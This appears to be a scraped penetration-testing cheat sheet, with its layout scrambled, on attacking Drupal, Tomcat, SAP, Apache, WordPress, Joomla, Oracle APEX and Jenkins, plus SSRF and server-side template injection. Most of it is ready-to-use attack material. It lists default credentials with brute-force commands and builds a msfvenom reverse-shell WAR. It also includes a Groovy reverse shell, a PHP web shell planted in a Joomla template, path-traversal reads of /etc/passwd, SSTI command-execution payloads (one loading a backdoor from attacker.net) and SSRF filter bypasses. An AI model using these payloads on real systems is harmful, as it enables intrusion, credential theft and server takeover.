All pages
Powered by GitBook
1 of 13

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Drupal

Manual

Exploits

Drupal < 8.7.x Authenticated RCE module upload

Drupal < 9.1.x Authenticated RCE Twig templates

"Administer views" -> new View of User Fields -> Add a "Custom text" :

If found /node/$NUMBER, the number could be devs or tests pages

Drupal < 8.6.9 - REST Module Remote Code Execution

Check for username disclosure on old versions:

?q=admin/views/ajax/autocomplete/user/a

Tools

Drupwn

Enumeration & Exploitation

droopescan

# check meta
curl https://www.drupal.org/ | grep 'content="Drupal'
# version
curl https://drupal-site.com/CHANGELOG.txt
# node
curl drupal-site.com/node/1

# users
# 403 -> exists | 404 -> doesn"t
curl https://www.drupal.org/user/X
# get username
curl https://www.drupal.org/reset/user/X/1/1
"{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"
# install
git clone https://github.com/immunIT/drupwn.git
cd drupwn
pip3 install -r requirements.txt

# enum
drupwn --mode enum --target $url

# exploit
drupwn --mode exploit --target $url
apt-get install python-pip
pip install droopescan

# scan
 droopescan scan drupal -u example.org

Servers / CMS

CMSMap

CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. The main purpose of CMSmap is to integrate common vulnerabilities for different types of CMSs in a single tool.

At the moment, CMSs supported by CMSmap are WordPress, Joomla, Drupal and Moodle.

Tomcat

No Account

Default Credentials

Bruteforce

Passwords Backtrace disclosure

/auth.jsp

With Account

Manager - RCE

You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script).

Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions)

PoC

admin:
admin:admin
admin:password
admin:password1
admin:Password1
admin:tomcat
manager:manager
root:changethis
root:password
root:password1
root:root
root:r00t
root:toor
tomcat:(empty)
tomcat:admin
tomcat:changethis
tomcat:password
tomcat:password1
tomcat:s3cret
tomcat:tomcat
# metasploit
msf> use auxiliary/scanner/http/tomcat_mgr_login

# hydra
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
# metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

# msfvenom - manually
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=8083 -f war -o revshell.war
# upload it to tomcat and access it : /revshell/
curl --upload-file shell.war -u 'tomcat:password' "https://example.com/manager/text/deploy?path=/shell"

# host
nc -lvnp 8083
git clone https://github.com/Dionach/CMSmap
cd CMSmap/
pip3 install .

cmsmap $url

SAP

Discovery

Default Passwords

USER
PASSWORD
CLIENT

Exploits

SAP_RECON (CVE-2020-6287, CVE-2020-6286)

This script allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in queryProtocol method.

Directory traversal allows to download any zip from SAP server.

Apache

Server Status

Apache server-status is an Apache monitoring instance Available by default at http://$target/server-status

In normal cases, the server-status instance is not accessible by non-local IPs. However, due to misconfiguration, it can be publicly accessible. This leads anyone to view the great amount of data by server-status.

Data exposed

  • All URL requested by all hosts/vhosts, including obscure files/directories and session tokens

  • All requested client's IPs

Exploiting it

CVE-2021-41773

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49-2.4.50.

An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts.

This issue only affects Apache 2.4.49 & 2.4.50 and not earlier versions.

WordPress

Manual

Information Gathering

  • license.txt (wordpress version)

  • wp-activate.php

  • wp-content/uploads/

  • wp-includes/

  • wp-config.php

Users / IP

Check for usernames : /wp-json/wp/v2/users

Could leak IP addresses : /wp-json/wp/v2/pages

xmlrpc.php

Active

Credentials brute-force or use it to launch DoS attacks

Exploit

SSRF

/wp-json/oembed/1.0/proxy

Try

WPScan

WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites.

Commands - with API

Default

Private Commands - with API

Joomla!

Reconnaissance

Endpoints | Manual

/robots.txt
/README.txt
/LICENSE.txt
/administrator/manifests/files/joomla.xml
/language/en-GB/en-GB.xml
/plugins/system/cache/cache.xml
/web.config

Automatic

Exploit

Bruteforce

Default credentials :

admin:admin

CVE-2023-23752 to Code Execution

Oracle APEX

Basics

Oracle APEX (Application Express) is a low-code development platform that enables users to build, design, and deploy scalable and secure web applications using a web browser. It is fully integrated with the Oracle Database, making it easy to create data-driven applications quickly. APEX is particularly popular for its ease of use and the ability to create sophisticated applications with minimal coding.

wfuzz -w /usr/share/SecLists/Discovery/Web-Content/URLs/urls-SAP.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/CMS/SAP.fuzz.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/sap.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ

# good wordlist
wget https://gist.githubusercontent.com/0x240x23elu/88327494cf7331008a13bc7d5aabfe74/raw/62bed611cfef054ffbb9b8bd0a320a53671d9ee4/SAPwordlists.txt -o sap_great.txt
wfuzz -w sap_great.txt --hc 404,403,503,406,401 --hl 172 https://domain.com/FUZZ

# check juicy
http://domain.com/sap/public/info
# droopescan
droopescan scan joomla --url http://joomla-site.local/

# joomscan - OWASP 
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl
# install
git clone https://github.com/mazen160/server-status_PWN.git
cd server-status_PWN
pip3 install -r requirements

# exploit
python3 server-status_PWN.py --url 'http://$target/server-status'
# install
git clone https://github.com/iilegacyyii/PoC-CVE-2021-41773.git
cd PoC-CVE-2021-41773/
python3 CVE-2021-41773.py --host https://$target
wget https://raw.githubusercontent.com/ajnik/joomla-bruteforce/master/joomla-brute.py
python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
# Joomla! MySQL credentials plain-text
# Modify a template when logged in
# Site templates > Editor > modify 'error.php' :
system($_GET['cmd']);

# try : 
curl -s http://joomla-site.local/templates/cassiopeia/error.php\?cmd\=id
Oracle APEX is based on PL/SQL (Procedural Language/Structured Query Language), which is Oracle's procedural extension for SQL. The platform also uses other web technologies like HTML, CSS, and JavaScript for the user interface and client-side functionality.

As for security, Oracle APEX is generally considered secure as it has built-in security features to protect applications from common vulnerabilities, such as SQL injection and cross-site scripting (XSS). Oracle continuously updates and enhances the platform's security measures to keep up with new threats. However, the security of an APEX application also depends on the developers' practices, like proper input validation, access control implementation, and keeping the platform up-to-date with the latest security patches.

APEX URL Synthax

APEX URL that refers to Page 1 of Application 100 : http://localhost/apex/f?p=100:1:12432087235079

Interesting endpoints

Info Leak

Source code :

JS files :

META :

Testing Authorization and Authentification

Check the login process for weaknesses, such as :

  • Insecure transmission of login data,

  • Weak password requirements,

  • Susceptibility to brute force attacks (is there any account lockout ?),

  • Try to access resources without proper authorization to see if the application correctly restricts access.

Testing IDOR

Burp Intruder

https://my.app.com/apex/f?p=x:y:SESSION:::::ITEM:ITEM_VALUE

x = application ID y = page ID

  1. Capture a request in the proxy and send it to the Intruder tool. Set your payload position on the pageID parameter

  2. Under Payloads, choose the “Numbers” payload and set an appropriate range you’d like to test.

  3. Run

Testing SQLi

sqlmap

See slide n°24 for more infos

Rewrite with wwv_flow.show :

SAP*

06071992, PASS

001, 066, Custom

DDIC

19920706

000, 001, Custom

TMSADM

PASSWORD, $1Pawd2&

000

SAPCPIC

ADMIN

000,001

EARLYWATCH

SUPPORT

066

Server-Side Request Forgery

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.

Exploitation

Against the server itself

Here, the server will fetch the contents of the /admin URL and return it to the user.

Against other back-end systems

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users.

In the preceding example, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request:

Bypass Defenses

Blacklist-based input filters

Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques:

  • Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.

  • Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.

  • Obfuscating blocked strings using URL encoding or case variation.

Whitelist-based input filters

Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing.

The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:

  • You can embed credentials in a URL before the hostname, using the @ character. For example:

    • https://expected-host@evil-host

  • You can use the # character to indicate a URL fragment. For example:

Application ID:Page ID:Session ID:Request:Debug:Clear Cache:Item Names:Item Values:Printer Friendly
# admin interfaces
/apex/apex_admin
/i/apex_admin
/pls/apex/apex_admin
/ords/<workspace_name>/builder
# dev URL
/apex/wwv_flow.show?P_FLOW_ID=APP_ID
# web service
/apex/APP_ALIAS/wwv_flow.ajax
/apex/APP_ALIAS/wwv_flow.file_upload
/apex/APP_ALIAS/wwv_flow.accept
# misc
/apex/f?p=13000:1 # Packaged applications
/apex/f?p=4700 # Application Builder
/apex/f?p=4000:4500 # Team Development
/apex/f?p=4350 # SQL Workshop
/apex/f?p=4950 # Administration Services
APEX_VERSION
application-version
apex-version
.js?v=$version
<!-- EXAMPLE -->
<meta name="generator" content="Oracle Application Express 5.1">
sqlmap -u "https://app.oracle.com/ords/wwv_flow.show?p_flow_id=112&p_flow_step_id=5&p_instance=14720048029141&p_arg_name=RP,45&p_arg_value=F_DISPLAY" --batch --dbms Oracle --level 3 --risk 3
# install
git clone https://github.com/chipik/SAP_RECON.git 
cd SAP_RECON/

# usage
python RECON.py -h
# get wordpress version
curl https://victim.com/ | grep 'content="WordPress'
# get author name = potential user
curl -s -I -X GET http://blog.example.com/?author=1
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net
# Enumerate all plugins with known vulnerabilities
wpscan --url $target -e vp --plugins-detection mixed --api-token $YOUR_TOKEN

# Enumerate all plugins in WPSCAN database (could take a very long time)
wpscan --url $target -e ap --plugins-detection mixed --api-token $YOUR_TOKEN
# Deeper scan
wpscan --url $target --ignore-main-redirect --detection-mode aggressive --plugins-detection mixed --api-token $YOUR_TOKEN

https://evil-host#expected-host

  • You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example:

    • https://expected-host.evil-host

  • You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.

  • You can use combinations of these techniques together.

  • POST /product/stock HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118
    
    stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
    
    # change to :
    
    POST /product/stock HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118
    
    stockApi=http://localhost/admin
    POST /product/stock HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 118
    
    stockApi=http://192.168.0.68/admin

    Jenkins

    Enumeration

    msf> use auxiliary/scanner/http/jenkins_enum
    
    # execute commands without authentication ?
    msf> use auxiliary/scanner/http/jenkins_command
    
    # get jenkins version
    /oops
    /error

    RCE from Script Console

    From :

    Resources

    revsh.groovy
    String host="localhost";
    int port=8044;
    String cmd="cmd.exe";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

    Server-Side Template Injection

    Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

    At the severe end of the scale, an attacker can potentially achieve remote code execution, taking full control of the back-end server and using it to perform other attacks on internal infrastructure.

    Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server.

    Identification

    Payloads

    Jinja2

    Exploitation

    SSTI Map

    Drupal < 8.6.9 - REST Module Remote Code ExecutionExploit Database
    -------------------------------------------------------------------
    Polyglot:
    ${{<%[%'"}}%\
    
    -------------------------------------------------------------------
    FreeMarker (Java):
    ${7*7} = 49
    <#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
    --------------------------------------------------------------------
    (Java):
    ${7*7}
    ${{7*7}}
    ${class.getClassLoader()}
    ${class.getResource("").getPath()}
    ${class.getResource("../../../../../index.htm").getContent()}
    ${T(java.lang.System).getenv()}
    ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
    --------------------------------------------------------------------
    Twig (PHP):
    {{7*7}}
    {{7*'7'}}
    {{dump(app)}}
    {{app.request.server.all|join(',')}}
    "{{'/etc/passwd'|file_excerpt(1,30)}}"@
    {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
    --------------------------------------------------------------------
    Smarty (PHP):
    {$smarty.version}
    {php}echo `id`;{/php}
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
    -------------------------------------------------------------------
    Handlebars (NodeJS):
    wrtz{{#with "s" as |string|}}
    {{#with "e"}}
    {{#with split as |conslist|}}
    {{this.pop}}
    {{this.push (lookup string.sub "constructor")}}
    {{this.pop}}
    {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('whoami');"}}
    {{this.pop}}
    {{#each conslist}}
    {{#with (string.sub.apply 0 codelist)}}
    {{this}}
    {{/with}}
    {{/each}}
    {{/with}}
    {{/with}}
    {{/with}}
    {{/with}}
    -------------------------------------------------------------------
    Velocity:
    #set($str=$class.inspect("java.lang.String").type)
    #set($chr=$class.inspect("java.lang.Character").type)
    #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
    $ex.waitFor()
    #set($out=$ex.getInputStream())
    #foreach($i in [1..$out.available()])
    $str.valueOf($chr.toChars($out.read()))
    #end
    -------------------------------------------------------------------
    ERB (Ruby):
    <%= system("whoami") %>
    <%= Dir.entries('/') %>
    <%= File.open('/example/arbitrary-file').read %>
    -------------------------------------------------------------------
    Django Tricks (Python):
    {% debug %}
    {{settings.SECRET_KEY}}
    --------------------------------------------------------------------
    Tornado (Python):
    {% import foobar %} = Error
    {% import os %}{{os.system('whoami')}}
    --------------------------------------------------------------------
    Mojolicious (Perl):
    <%= perl code %>
    <% perl code %>
    -------------------------------------------------------------------
    Flask/Jinja2: Identify:
    {{ '7'*7 }}
    {{ [].class.base.subclasses() }} # get all classes
    {{''.class.mro()[1].subclasses()}}
    {%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
    
    
    -------------------------------------------------------------------
    Flask/Jinja2: 
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    --------------------------------------------------------------------
    Jade:
    #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
    --------------------------------------------------------------------
    Razor (.Net):
    @(1+2)
    @{// C# code}
    --------------------------------------------------------------------
    ASP:
    <%response.write(date())%>.
    <% Response.Write("testing execution") %>
    <%="testing execution" %>

    Server-Side Vulnerabilities

    Logo
    Remote code execution possible by uploading a module containing malicious codeDrupal.org
    https://www.drupal.org/files/issues/2019-11-08/drupal_rce.tar_.gzwww.drupal.org
    GitHub - dionach/CMSmap: CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs.GitHub
    Logo
    https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/nitesculucian.github.io
    GitHub - immunIT/drupwn: Drupal enumeration & exploitation toolGitHub
    GitHub - chipik/SAP_RECON: PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)GitHub
    GitHub - relarizky/wpxploit: Simple Python Script For Performing XMLRPC Dictionary AttackGitHub
    GitHub - wpscanteam/wpscan: WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites. Contact us via [email protected]GitHub
    https://graytier.com/blog/f/testing-for-idor-and-authorization-vulnerabilities-in-oracle-apexgraytier.com
    GitHub - SamJoan/droopescan: A plugin-based scanner that aids security researchers in identifying issues with several CMSs, mainly Drupal & Silverstripe.GitHub
    Logo
    Code execution via Twig templates (including inline)Drupal.org
    GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins serversGitHub
    Logo
    Logo
    GitHub - shipcod3/mySapAdventures: A quick methodology on testing / hacking SAP Applications for n00bz and bug bounty huntersGitHub
    Methodology
    Logo
    API — Jinja Documentation (3.1.x)jinja.palletsprojects.com
    Syntax
    GitHub - vladko312/SSTImap: Automatic SSTI detection tool with interactive interfaceGitHub
    Logo
    Logo
    Logo
    Logo

    Wordpress eBook Download < 1.2 - CVE-2016-10924

    Brief

    There is a directory traversal vulnerability in Wordpress eBook Download < 1.2, which allow remote attackers to read arbitrary files.

    PoC

    Manual

    Script

    Logo
    Page not found - HackTricksbook.hacktricks.xyz
    HackTrickz - SSTI
    curl http://$target/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../etc/passwd
    git clone https://github.com/rvizx/CVE-2016-10924
    cd CVE-2016-10924
    python pidbrute.py $url
    Logo
    Logo
    Logo
    Page not found - HackTricks Cloudcloud.hacktricks.xyz
    Logo